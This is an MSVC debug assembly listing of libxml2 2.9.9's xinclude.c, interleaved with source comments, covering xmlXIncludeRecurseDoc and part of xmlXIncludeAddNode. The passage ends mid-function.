; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xinclude.c
; COMDAT _xmlXIncludeRecurseDoc
_TEXT SEGMENT
_i$ = -8 ; size = 4
_newctxt$ = -4 ; size = 4
_ctxt$ = 8 ; size = 4
_doc$ = 12 ; size = 4
_url$ = 16 ; size = 4
_xmlXIncludeRecurseDoc PROC ; COMDAT
; 665 : const xmlURL url ATTRIBUTE_UNUSED) {
push ebp
mov ebp, esp
sub esp, 8
push esi
mov DWORD PTR [ebp-8], -858993460 ; ccccccccH
mov DWORD PTR [ebp-4], -858993460 ; ccccccccH
mov ecx, OFFSET __07371726_xinclude@c
call @__CheckForDebuggerJustMyCode@4
; 666 : xmlXIncludeCtxtPtr newctxt;
; 667 : int i;
; 668 :
; 669 : /*
; 670 : * Avoid recursion in already substitued resources
; 671 : for (i = 0;i < ctxt->urlNr;i++) {
; 672 : if (xmlStrEqual(doc->URL, ctxt->urlTab[i]))
; 673 : return;
; 674 : }
; 675 : */
; 676 :
; 677 : #ifdef DEBUG_XINCLUDE
; 678 : xmlGenericError(xmlGenericErrorContext, "Recursing in doc %s\n", doc->URL);
; 679 : #endif
; 680 : /*
; 681 : * Handle recursion here.
; 682 : */
; 683 :
; 684 : newctxt = xmlXIncludeNewContext(doc);
mov eax, DWORD PTR _doc$[ebp]
push eax
call _xmlXIncludeNewContext
add esp, 4
mov DWORD PTR _newctxt$[ebp], eax
; 685 : if (newctxt != NULL) {
cmp DWORD PTR _newctxt$[ebp], 0
je $LN1@xmlXInclud
; 686 : /*
; 687 : * Copy the private user data
; 688 : */
; 689 : newctxt->_private = ctxt->_private;
mov ecx, DWORD PTR _newctxt$[ebp]
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+68]
mov DWORD PTR [ecx+68], eax
; 690 : /*
; 691 : * Copy the existing document set
; 692 : */
; 693 : newctxt->incMax = ctxt->incMax;
mov ecx, DWORD PTR _newctxt$[ebp]
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+12]
mov DWORD PTR [ecx+12], eax
; 694 : newctxt->incNr = ctxt->incNr;
mov ecx, DWORD PTR _newctxt$[ebp]
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+8]
mov DWORD PTR [ecx+8], eax
; 695 : newctxt->incTab = (xmlXIncludeRefPtr *) xmlMalloc(newctxt->incMax *
mov ecx, DWORD PTR _newctxt$[ebp]
mov edx, DWORD PTR [ecx+12]
shl edx, 2
mov esi, esp
push edx
call DWORD PTR _xmlMalloc
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
mov ecx, DWORD PTR _newctxt$[ebp]
mov DWORD PTR [ecx+16], eax
; 696 : sizeof(newctxt->incTab[0]));
; 697 : if (newctxt->incTab == NULL) {
mov edx, DWORD PTR _newctxt$[ebp]
cmp DWORD PTR [edx+16], 0
jne SHORT $LN9@xmlXInclud
; 698 : xmlXIncludeErrMemory(ctxt, (xmlNodePtr) doc, "processing doc");
push OFFSET ??_C@_0P@NPOPFDNN@processing?5doc@
mov eax, DWORD PTR _doc$[ebp]
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeErrMemory
add esp, 12 ; 0000000cH
; 699 : xmlFree(newctxt);
mov esi, esp
mov edx, DWORD PTR _newctxt$[ebp]
push edx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
; 700 : return;
jmp $LN1@xmlXInclud
$LN9@xmlXInclud:
; 701 : }
; 702 : /*
; 703 : * copy the urlTab
; 704 : */
; 705 : newctxt->urlMax = ctxt->urlMax;
mov eax, DWORD PTR _newctxt$[ebp]
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+44]
mov DWORD PTR [eax+44], edx
; 706 : newctxt->urlNr = ctxt->urlNr;
mov eax, DWORD PTR _newctxt$[ebp]
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+40]
mov DWORD PTR [eax+40], edx
; 707 : newctxt->urlTab = ctxt->urlTab;
mov eax, DWORD PTR _newctxt$[ebp]
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+48]
mov DWORD PTR [eax+48], edx
; 708 :
; 709 : /*
; 710 : * Inherit the existing base
; 711 : */
; 712 : newctxt->base = xmlStrdup(ctxt->base);
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax+64]
push ecx
call _xmlStrdup
add esp, 4
mov edx, DWORD PTR _newctxt$[ebp]
mov DWORD PTR [edx+64], eax
; 713 :
; 714 : /*
; 715 : * Inherit the documents already in use by other includes
; 716 : */
; 717 : newctxt->incBase = ctxt->incNr;
mov eax, DWORD PTR _newctxt$[ebp]
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+8]
mov DWORD PTR [eax+4], edx
; 718 : for (i = 0;i < ctxt->incNr;i++) {
mov DWORD PTR _i$[ebp], 0
jmp SHORT $LN4@xmlXInclud
$LN2@xmlXInclud:
mov eax, DWORD PTR _i$[ebp]
add eax, 1
mov DWORD PTR _i$[ebp], eax
$LN4@xmlXInclud:
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR _i$[ebp]
cmp edx, DWORD PTR [ecx+8]
jge SHORT $LN3@xmlXInclud
; 719 : newctxt->incTab[i] = ctxt->incTab[i];
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax+16]
mov edx, DWORD PTR _newctxt$[ebp]
mov eax, DWORD PTR [edx+16]
mov edx, DWORD PTR _i$[ebp]
mov esi, DWORD PTR _i$[ebp]
mov ecx, DWORD PTR [ecx+esi*4]
mov DWORD PTR [eax+edx*4], ecx
; 720 : newctxt->incTab[i]->count++; /* prevent the recursion from
mov edx, DWORD PTR _newctxt$[ebp]
mov eax, DWORD PTR [edx+16]
mov ecx, DWORD PTR _i$[ebp]
mov edx, DWORD PTR [eax+ecx*4]
mov eax, DWORD PTR [edx+24]
add eax, 1
mov ecx, DWORD PTR _newctxt$[ebp]
mov edx, DWORD PTR [ecx+16]
mov ecx, DWORD PTR _i$[ebp]
mov edx, DWORD PTR [edx+ecx*4]
mov DWORD PTR [edx+24], eax
; 721 : freeing it */
; 722 : }
jmp SHORT $LN2@xmlXInclud
$LN3@xmlXInclud:
; 723 : /*
; 724 : * The new context should also inherit the Parse Flags
; 725 : * (bug 132597)
; 726 : */
; 727 : newctxt->parseFlags = ctxt->parseFlags;
mov eax, DWORD PTR _newctxt$[ebp]
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+60]
mov DWORD PTR [eax+60], edx
; 728 : xmlXIncludeDoProcess(newctxt, doc, xmlDocGetRootElement(doc));
mov eax, DWORD PTR _doc$[ebp]
push eax
call _xmlDocGetRootElement
add esp, 4
push eax
mov ecx, DWORD PTR _doc$[ebp]
push ecx
mov edx, DWORD PTR _newctxt$[ebp]
push edx
call _xmlXIncludeDoProcess
add esp, 12 ; 0000000cH
; 729 : for (i = 0;i < ctxt->incNr;i++) {
mov DWORD PTR _i$[ebp], 0
jmp SHORT $LN7@xmlXInclud
$LN5@xmlXInclud:
mov eax, DWORD PTR _i$[ebp]
add eax, 1
mov DWORD PTR _i$[ebp], eax
$LN7@xmlXInclud:
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR _i$[ebp]
cmp edx, DWORD PTR [ecx+8]
jge SHORT $LN6@xmlXInclud
; 730 : newctxt->incTab[i]->count--;
mov eax, DWORD PTR _newctxt$[ebp]
mov ecx, DWORD PTR [eax+16]
mov edx, DWORD PTR _i$[ebp]
mov eax, DWORD PTR [ecx+edx*4]
mov ecx, DWORD PTR [eax+24]
sub ecx, 1
mov edx, DWORD PTR _newctxt$[ebp]
mov eax, DWORD PTR [edx+16]
mov edx, DWORD PTR _i$[ebp]
mov eax, DWORD PTR [eax+edx*4]
mov DWORD PTR [eax+24], ecx
; 731 : newctxt->incTab[i] = NULL;
mov ecx, DWORD PTR _newctxt$[ebp]
mov edx, DWORD PTR [ecx+16]
mov eax, DWORD PTR _i$[ebp]
mov DWORD PTR [edx+eax*4], 0
; 732 : }
jmp SHORT $LN5@xmlXInclud
$LN6@xmlXInclud:
; 733 :
; 734 : /* urlTab may have been reallocated */
; 735 : ctxt->urlTab = newctxt->urlTab;
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR _newctxt$[ebp]
mov eax, DWORD PTR [edx+48]
mov DWORD PTR [ecx+48], eax
; 736 : ctxt->urlMax = newctxt->urlMax;
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR _newctxt$[ebp]
mov eax, DWORD PTR [edx+44]
mov DWORD PTR [ecx+44], eax
; 737 :
; 738 : newctxt->urlMax = 0;
mov ecx, DWORD PTR _newctxt$[ebp]
mov DWORD PTR [ecx+44], 0
; 739 : newctxt->urlNr = 0;
mov edx, DWORD PTR _newctxt$[ebp]
mov DWORD PTR [edx+40], 0
; 740 : newctxt->urlTab = NULL;
mov eax, DWORD PTR _newctxt$[ebp]
mov DWORD PTR [eax+48], 0
; 741 :
; 742 : xmlXIncludeFreeContext(newctxt);
mov ecx, DWORD PTR _newctxt$[ebp]
push ecx
call _xmlXIncludeFreeContext
add esp, 4
$LN1@xmlXInclud:
; 743 : }
; 744 : #ifdef DEBUG_XINCLUDE
; 745 : xmlGenericError(xmlGenericErrorContext, "Done recursing in doc %s\n", url);
; 746 : #endif
; 747 : }
pop esi
add esp, 8
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
_xmlXIncludeRecurseDoc ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xinclude.c
; COMDAT _xmlXIncludeAddNode
_TEXT SEGMENT
_eschref$1 = -52 ; size = 4
_escbase$2 = -48 ; size = 4
_local$ = -44 ; size = 4
_i$ = -40 ; size = 4
_xml$ = -36 ; size = 4
_URI$ = -32 ; size = 4
_base$ = -28 ; size = 4
_parse$ = -24 ; size = 4
_href$ = -20 ; size = 4
_fragment$ = -16 ; size = 4
_URL$ = -12 ; size = 4
_uri$ = -8 ; size = 4
_ref$ = -4 ; size = 4
_ctxt$ = 8 ; size = 4
_cur$ = 12 ; size = 4
_xmlXIncludeAddNode PROC ; COMDAT
; 489 : xmlXIncludeAddNode(xmlXIncludeCtxtPtr ctxt, xmlNodePtr cur) {
push ebp
mov ebp, esp
sub esp, 52 ; 00000034H
push esi
push edi
lea edi, DWORD PTR [ebp-52]
mov ecx, 13 ; 0000000dH
mov eax, -858993460 ; ccccccccH
rep stosd
mov ecx, OFFSET __07371726_xinclude@c
call @__CheckForDebuggerJustMyCode@4
; 490 : xmlXIncludeRefPtr ref;
; 491 : xmlURIPtr uri;
; 492 : xmlChar *URL;
; 493 : xmlChar *fragment = NULL;
mov DWORD PTR _fragment$[ebp], 0
; 494 : xmlChar *href;
; 495 : xmlChar *parse;
; 496 : xmlChar *base;
; 497 : xmlChar *URI;
; 498 : int xml = 1, i; /* default Issue 64 */
mov DWORD PTR _xml$[ebp], 1
; 499 : int local = 0;
mov DWORD PTR _local$[ebp], 0
; 500 :
; 501 :
; 502 : if (ctxt == NULL)
cmp DWORD PTR _ctxt$[ebp], 0
jne SHORT $LN5@xmlXInclud
; 503 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN5@xmlXInclud:
; 504 : if (cur == NULL)
cmp DWORD PTR _cur$[ebp], 0
jne SHORT $LN6@xmlXInclud
; 505 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN6@xmlXInclud:
; 506 :
; 507 : #ifdef DEBUG_XINCLUDE
; 508 : xmlGenericError(xmlGenericErrorContext, "Add node\n");
; 509 : #endif
; 510 : /*
; 511 : * read the attributes
; 512 : */
; 513 : href = xmlXIncludeGetProp(ctxt, cur, XINCLUDE_HREF);
push OFFSET ??_C@_04CMBCJJJD@href@
mov eax, DWORD PTR _cur$[ebp]
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeGetProp
add esp, 12 ; 0000000cH
mov DWORD PTR _href$[ebp], eax
; 514 : if (href == NULL) {
cmp DWORD PTR _href$[ebp], 0
jne SHORT $LN7@xmlXInclud
; 515 : href = xmlStrdup(BAD_CAST ""); /* @@@@ href is now optional */
push OFFSET ??_C@_00CNPNBAHC@@
call _xmlStrdup
add esp, 4
mov DWORD PTR _href$[ebp], eax
; 516 : if (href == NULL)
cmp DWORD PTR _href$[ebp], 0
jne SHORT $LN7@xmlXInclud
; 517 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN7@xmlXInclud:
; 518 : }
; 519 : if ((href[0] == '#') || (href[0] == 0))
mov edx, 1
imul eax, edx, 0
mov ecx, DWORD PTR _href$[ebp]
movzx edx, BYTE PTR [ecx+eax]
cmp edx, 35 ; 00000023H
je SHORT $LN10@xmlXInclud
mov eax, 1
imul ecx, eax, 0
mov edx, DWORD PTR _href$[ebp]
movzx eax, BYTE PTR [edx+ecx]
test eax, eax
jne SHORT $LN9@xmlXInclud
$LN10@xmlXInclud:
; 520 : local = 1;
mov DWORD PTR _local$[ebp], 1
$LN9@xmlXInclud:
; 521 : parse = xmlXIncludeGetProp(ctxt, cur, XINCLUDE_PARSE);
push OFFSET ??_C@_05GOEGCMJM@parse@
mov ecx, DWORD PTR _cur$[ebp]
push ecx
mov edx, DWORD PTR _ctxt$[ebp]
push edx
call _xmlXIncludeGetProp
add esp, 12 ; 0000000cH
mov DWORD PTR _parse$[ebp], eax
; 522 : if (parse != NULL) {
cmp DWORD PTR _parse$[ebp], 0
je $LN11@xmlXInclud
; 523 : if (xmlStrEqual(parse, XINCLUDE_PARSE_XML))
push OFFSET ??_C@_03PJHHNEEI@xml@
mov eax, DWORD PTR _parse$[ebp]
push eax
call _xmlStrEqual
add esp, 8
test eax, eax
je SHORT $LN12@xmlXInclud
; 524 : xml = 1;
mov DWORD PTR _xml$[ebp], 1
jmp SHORT $LN11@xmlXInclud
$LN12@xmlXInclud:
; 525 : else if (xmlStrEqual(parse, XINCLUDE_PARSE_TEXT))
push OFFSET ??_C@_04CIMGMMMG@text@
mov ecx, DWORD PTR _parse$[ebp]
push ecx
call _xmlStrEqual
add esp, 8
test eax, eax
je SHORT $LN14@xmlXInclud
; 526 : xml = 0;
mov DWORD PTR _xml$[ebp], 0
jmp SHORT $LN11@xmlXInclud
$LN14@xmlXInclud:
; 527 : else {
; 528 : xmlXIncludeErr(ctxt, cur, XML_XINCLUDE_PARSE_VALUE,
mov edx, DWORD PTR _parse$[ebp]
push edx
push OFFSET ??_C@_0BO@KBIJIENG@invalid?5value?5?$CFs?5for?5?8parse?8?6@
push 1601 ; 00000641H
mov eax, DWORD PTR _cur$[ebp]
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeErr
add esp, 20 ; 00000014H
; 529 : "invalid value %s for 'parse'\n", parse);
; 530 : if (href != NULL)
cmp DWORD PTR _href$[ebp], 0
je SHORT $LN16@xmlXInclud
; 531 : xmlFree(href);
mov esi, esp
mov edx, DWORD PTR _href$[ebp]
push edx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN16@xmlXInclud:
; 532 : if (parse != NULL)
cmp DWORD PTR _parse$[ebp], 0
je SHORT $LN17@xmlXInclud
; 533 : xmlFree(parse);
mov esi, esp
mov eax, DWORD PTR _parse$[ebp]
push eax
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN17@xmlXInclud:
; 534 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN11@xmlXInclud:
; 535 : }
; 536 : }
; 537 :
; 538 : /*
; 539 : * compute the URI
; 540 : */
; 541 : base = xmlNodeGetBase(ctxt->doc, cur);
mov ecx, DWORD PTR _cur$[ebp]
push ecx
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx]
push eax
call _xmlNodeGetBase
add esp, 8
mov DWORD PTR _base$[ebp], eax
; 542 : if (base == NULL) {
cmp DWORD PTR _base$[ebp], 0
jne SHORT $LN18@xmlXInclud
; 543 : URI = xmlBuildURI(href, ctxt->doc->URL);
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx]
mov eax, DWORD PTR [edx+72]
push eax
mov ecx, DWORD PTR _href$[ebp]
push ecx
call _xmlBuildURI
add esp, 8
mov DWORD PTR _URI$[ebp], eax
; 544 : } else {
jmp SHORT $LN19@xmlXInclud
$LN18@xmlXInclud:
; 545 : URI = xmlBuildURI(href, base);
mov edx, DWORD PTR _base$[ebp]
push edx
mov eax, DWORD PTR _href$[ebp]
push eax
call _xmlBuildURI
add esp, 8
mov DWORD PTR _URI$[ebp], eax
$LN19@xmlXInclud:
; 546 : }
; 547 : if (URI == NULL) {
cmp DWORD PTR _URI$[ebp], 0
jne SHORT $LN20@xmlXInclud
; 548 : xmlChar *escbase;
; 549 : xmlChar *eschref;
; 550 : /*
; 551 : * Some escaping may be needed
; 552 : */
; 553 : escbase = xmlURIEscape(base);
mov ecx, DWORD PTR _base$[ebp]
push ecx
call _xmlURIEscape
add esp, 4
mov DWORD PTR _escbase$2[ebp], eax
; 554 : eschref = xmlURIEscape(href);
mov edx, DWORD PTR _href$[ebp]
push edx
call _xmlURIEscape
add esp, 4
mov DWORD PTR _eschref$1[ebp], eax
; 555 : URI = xmlBuildURI(eschref, escbase);
mov eax, DWORD PTR _escbase$2[ebp]
push eax
mov ecx, DWORD PTR _eschref$1[ebp]
push ecx
call _xmlBuildURI
add esp, 8
mov DWORD PTR _URI$[ebp], eax
; 556 : if (escbase != NULL)
cmp DWORD PTR _escbase$2[ebp], 0
je SHORT $LN21@xmlXInclud
; 557 : xmlFree(escbase);
mov esi, esp
mov edx, DWORD PTR _escbase$2[ebp]
push edx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN21@xmlXInclud:
; 558 : if (eschref != NULL)
cmp DWORD PTR _eschref$1[ebp], 0
je SHORT $LN20@xmlXInclud
; 559 : xmlFree(eschref);
mov esi, esp
mov eax, DWORD PTR _eschref$1[ebp]
push eax
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN20@xmlXInclud:
; 560 : }
; 561 : if (parse != NULL)
cmp DWORD PTR _parse$[ebp], 0
je SHORT $LN23@xmlXInclud
; 562 : xmlFree(parse);
mov esi, esp
mov ecx, DWORD PTR _parse$[ebp]
push ecx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN23@xmlXInclud:
; 563 : if (href != NULL)
cmp DWORD PTR _href$[ebp], 0
je SHORT $LN24@xmlXInclud
; 564 : xmlFree(href);
mov esi, esp
mov edx, DWORD PTR _href$[ebp]
push edx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN24@xmlXInclud:
; 565 : if (base != NULL)
cmp DWORD PTR _base$[ebp], 0
je SHORT $LN25@xmlXInclud
; 566 : xmlFree(base);
mov esi, esp
mov eax, DWORD PTR _base$[ebp]
push eax
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN25@xmlXInclud:
; 567 : if (URI == NULL) {
cmp DWORD PTR _URI$[ebp], 0
jne SHORT $LN26@xmlXInclud
; 568 : xmlXIncludeErr(ctxt, cur, XML_XINCLUDE_HREF_URI,
push 0
push OFFSET ??_C@_0BC@LNHFKIFC@failed?5build?5URL?6@
push 1605 ; 00000645H
mov ecx, DWORD PTR _cur$[ebp]
push ecx
mov edx, DWORD PTR _ctxt$[ebp]
push edx
call _xmlXIncludeErr
add esp, 20 ; 00000014H
; 569 : "failed build URL\n", NULL);
; 570 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN26@xmlXInclud:
; 571 : }
; 572 : fragment = xmlXIncludeGetProp(ctxt, cur, XINCLUDE_PARSE_XPOINTER);
push OFFSET ??_C@_08DNJCJFMK@xpointer@
mov eax, DWORD PTR _cur$[ebp]
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeGetProp
add esp, 12 ; 0000000cH
mov DWORD PTR _fragment$[ebp], eax
; 573 :
; 574 : /*
; 575 : * Check the URL and remove any fragment identifier
; 576 : */
; 577 : uri = xmlParseURI((const char *)URI);
mov edx, DWORD PTR _URI$[ebp]
push edx
call _xmlParseURI
add esp, 4
mov DWORD PTR _uri$[ebp], eax
; 578 : if (uri == NULL) {
cmp DWORD PTR _uri$[ebp], 0
jne SHORT $LN27@xmlXInclud
; 579 : xmlXIncludeErr(ctxt, cur, XML_XINCLUDE_HREF_URI,
mov eax, DWORD PTR _URI$[ebp]
push eax
push OFFSET ??_C@_0BG@NNKFOBEI@invalid?5value?5URI?5?$CFs?6@
push 1605 ; 00000645H
mov ecx, DWORD PTR _cur$[ebp]
push ecx
mov edx, DWORD PTR _ctxt$[ebp]
push edx
call _xmlXIncludeErr
add esp, 20 ; 00000014H
; 580 : "invalid value URI %s\n", URI);
; 581 : if (fragment != NULL)
cmp DWORD PTR _fragment$[ebp], 0
je SHORT $LN28@xmlXInclud
; 582 : xmlFree(fragment);
mov esi, esp
mov eax, DWORD PTR _fragment$[ebp]
push eax
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN28@xmlXInclud:
; 583 : xmlFree(URI);
mov esi, esp
mov ecx, DWORD PTR _URI$[ebp]
push ecx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
; 584 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN27@xmlXInclud:
; 585 : }
; 586 :
; 587 : if (uri->fragment != NULL) {
mov edx, DWORD PTR _uri$[ebp]
cmp DWORD PTR [edx+32], 0
je $LN29@xmlXInclud
; 588 : if (ctxt->legacy != 0) {
mov eax, DWORD PTR _ctxt$[ebp]
cmp DWORD PTR [eax+56], 0
je SHORT $LN30@xmlXInclud
; 589 : if (fragment == NULL) {
cmp DWORD PTR _fragment$[ebp], 0
jne SHORT $LN32@xmlXInclud
; 590 : fragment = (xmlChar *) uri->fragment;
mov ecx, DWORD PTR _uri$[ebp]
mov edx, DWORD PTR [ecx+32]
mov DWORD PTR _fragment$[ebp], edx
; 591 : } else {
jmp SHORT $LN33@xmlXInclud
$LN32@xmlXInclud:
; 592 : xmlFree(uri->fragment);
mov esi, esp
mov eax, DWORD PTR _uri$[ebp]
mov ecx, DWORD PTR [eax+32]
push ecx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN33@xmlXInclud:
; 593 : }
; 594 : } else {
jmp SHORT $LN31@xmlXInclud
$LN30@xmlXInclud:
; 595 : xmlXIncludeErr(ctxt, cur, XML_XINCLUDE_FRAGMENT_ID,
mov edx, DWORD PTR _URI$[ebp]
push edx
push OFFSET ??_C@_0EC@PPIAEBNK@Invalid?5fragment?5identifier?5in?5@
push 1618 ; 00000652H
mov eax, DWORD PTR _cur$[ebp]
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeErr
add esp, 20 ; 00000014H
; 596 : "Invalid fragment identifier in URI %s use the xpointer attribute\n",
; 597 : URI);
; 598 : if (fragment != NULL)
cmp DWORD PTR _fragment$[ebp], 0
je SHORT $LN34@xmlXInclud
; 599 : xmlFree(fragment);
mov esi, esp
mov edx, DWORD PTR _fragment$[ebp]
push edx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN34@xmlXInclud:
; 600 : xmlFreeURI(uri);
mov eax, DWORD PTR _uri$[ebp]
push eax
call _xmlFreeURI
add esp, 4
; 601 : xmlFree(URI);
mov esi, esp
mov ecx, DWORD PTR _URI$[ebp]
push ecx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
; 602 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN31@xmlXInclud:
; 603 : }
; 604 : uri->fragment = NULL;
mov edx, DWORD PTR _uri$[ebp]
mov DWORD PTR [edx+32], 0
$LN29@xmlXInclud:
; 605 : }
; 606 : URL = xmlSaveUri(uri);
mov eax, DWORD PTR _uri$[ebp]
push eax
call _xmlSaveUri
add esp, 4
mov DWORD PTR _URL$[ebp], eax
; 607 : xmlFreeURI(uri);
mov ecx, DWORD PTR _uri$[ebp]
push ecx
call _xmlFreeURI
add esp, 4
; 608 : xmlFree(URI);
mov esi, esp
mov edx, DWORD PTR _URI$[ebp]
push edx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
; 609 : if (URL == NULL) {
cmp DWORD PTR _URL$[ebp], 0
jne SHORT $LN35@xmlXInclud
; 610 : xmlXIncludeErr(ctxt, cur, XML_XINCLUDE_HREF_URI,
mov eax, DWORD PTR _URI$[ebp]
push eax
push OFFSET ??_C@_0BG@NNKFOBEI@invalid?5value?5URI?5?$CFs?6@
push 1605 ; 00000645H
mov ecx, DWORD PTR _cur$[ebp]
push ecx
mov edx, DWORD PTR _ctxt$[ebp]
push edx
call _xmlXIncludeErr
add esp, 20 ; 00000014H
; 611 : "invalid value URI %s\n", URI);
; 612 : if (fragment != NULL)
cmp DWORD PTR _fragment$[ebp], 0
je SHORT $LN36@xmlXInclud
; 613 : xmlFree(fragment);
mov esi, esp
mov eax, DWORD PTR _fragment$[ebp]
push eax
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN36@xmlXInclud:
; 614 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN35@xmlXInclud:
; 615 : }
; 616 :
; 617 : /*
; 618 : * If local and xml then we need a fragment
; 619 : */
; 620 : if ((local == 1) && (xml == 1) &&
cmp DWORD PTR _local$[ebp], 1
jne SHORT $LN37@xmlXInclud
cmp DWORD PTR _xml$[ebp], 1
jne SHORT $LN37@xmlXInclud
cmp DWORD PTR _fragment$[ebp], 0
je SHORT $LN38@xmlXInclud
mov ecx, 1
imul edx, ecx, 0
mov eax, DWORD PTR _fragment$[ebp]
movzx ecx, BYTE PTR [eax+edx]
test ecx, ecx
jne SHORT $LN37@xmlXInclud
$LN38@xmlXInclud:
; 621 : ((fragment == NULL) || (fragment[0] == 0))) {
; 622 : xmlXIncludeErr(ctxt, cur, XML_XINCLUDE_RECURSION,
mov edx, DWORD PTR _URL$[ebp]
push edx
push OFFSET ??_C@_0DD@GKECCJLJ@detected?5a?5local?5recursion?5with@
push 1600 ; 00000640H
mov eax, DWORD PTR _cur$[ebp]
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeErr
add esp, 20 ; 00000014H
; 623 : "detected a local recursion with no xpointer in %s\n",
; 624 : URL);
; 625 : if (fragment != NULL)
cmp DWORD PTR _fragment$[ebp], 0
je SHORT $LN39@xmlXInclud
; 626 : xmlFree(fragment);
mov esi, esp
mov edx, DWORD PTR _fragment$[ebp]
push edx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN39@xmlXInclud:
; 627 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN37@xmlXInclud:
; 628 : }
; 629 :
; 630 : /*
; 631 : * Check the URL against the stack for recursions
; 632 : */
; 633 : if ((!local) && (xml == 1)) {
cmp DWORD PTR _local$[ebp], 0
jne SHORT $LN40@xmlXInclud
cmp DWORD PTR _xml$[ebp], 1
jne SHORT $LN40@xmlXInclud
; 634 : for (i = 0;i < ctxt->urlNr;i++) {
mov DWORD PTR _i$[ebp], 0
jmp SHORT $LN4@xmlXInclud
$LN2@xmlXInclud:
mov eax, DWORD PTR _i$[ebp]
add eax, 1
mov DWORD PTR _i$[ebp], eax
$LN4@xmlXInclud:
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR _i$[ebp]
cmp edx, DWORD PTR [ecx+40]
jge SHORT $LN40@xmlXInclud
; 635 : if (xmlStrEqual(URL, ctxt->urlTab[i])) {
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax+48]
mov edx, DWORD PTR _i$[ebp]
mov eax, DWORD PTR [ecx+edx*4]
push eax
mov ecx, DWORD PTR _URL$[ebp]
push ecx
call _xmlStrEqual
add esp, 8
test eax, eax
je SHORT $LN41@xmlXInclud
; 636 : xmlXIncludeErr(ctxt, cur, XML_XINCLUDE_RECURSION,
mov edx, DWORD PTR _URL$[ebp]
push edx
push OFFSET ??_C@_0BM@FPMOMHKP@detected?5a?5recursion?5in?5?$CFs?6@
push 1600 ; 00000640H
mov eax, DWORD PTR _cur$[ebp]
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeErr
add esp, 20 ; 00000014H
; 637 : "detected a recursion in %s\n", URL);
; 638 : return(-1);
or eax, -1
jmp SHORT $LN1@xmlXInclud
$LN41@xmlXInclud:
; 639 : }
; 640 : }
jmp SHORT $LN2@xmlXInclud
$LN40@xmlXInclud:
; 641 : }
; 642 :
; 643 : ref = xmlXIncludeNewRef(ctxt, URL, cur);
mov edx, DWORD PTR _cur$[ebp]
push edx
mov eax, DWORD PTR _URL$[ebp]
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeNewRef
add esp, 12 ; 0000000cH
mov DWORD PTR _ref$[ebp], eax
; 644 : if (ref == NULL) {
